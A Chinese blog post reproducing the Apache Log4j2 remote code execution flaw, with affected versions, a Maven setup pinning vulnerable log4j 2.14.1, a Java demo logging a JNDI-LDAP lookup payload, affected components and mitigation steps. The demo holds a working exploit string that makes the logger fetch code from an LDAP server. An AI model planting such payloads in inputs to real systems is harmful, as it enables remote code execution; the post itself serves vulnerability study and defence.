Apache-Log4j2-RCE漏洞复现

Apache-Log4j2-RCE漏洞复现

漏洞介绍

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行

影响版本

1
Apache Log4j 2.x <= 2.14.1

漏洞简析

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

复现过程

在IDEA中新建一个Maven项目,在pom.xml中导入依赖文件下载log4j程序包

pom.xml文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

点击下载相应程序包资源

这里使用JNDI注入工具开启rmi服务或者idap服务执行本地命令,如下:

下面为测试Demo(由于我的jdk版本不适用RMI-JDNI注入,这里使用的是ldap协议)

1
2
3
4
5
6
7
8
9
10
11
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);

public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/ehm23c}");
}
}

运行结果:

痕迹分析

主要查看日志,观察日志中是否存在错误记录

影响范围

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:

Apache Log4j 2.x < 2.15.0-rc2

影响判断方式:用户只需排查Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

已知影响组件

  • Apache Struts2
  • Apache Solr
  • Apache Flink
  • Apache Druid
  • ElasticSearch
  • flume
  • dubbo
  • Redis
  • logstash
  • kafka

防护方案

1、禁止使用 log4j 服务器外连,升级 jdk 11.0.1 8u191 7u201 6u211 或更高版本。

2、升级至 log4j-2.15.0-rc2:

下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

3、紧急缓解措施:

(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2) 修改配置 log4j2.formatMsgNoLookups=True

(3) 将系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置 为 true

参考链接

[1] https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

[2] [LOG4J2-3201] Limit the protocols jNDI can use and restrict LDAP. - ASF JIRA (apache.org)

[3] ASF Git Repos - logging-log4j2.git/blob - log4j-core/src/test/java/org/apache/logging/log4j/core/lookup/JndiRestrictedLookupTest.java

[4] Apache Log4j2RCE漏洞复现 (qq.com)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信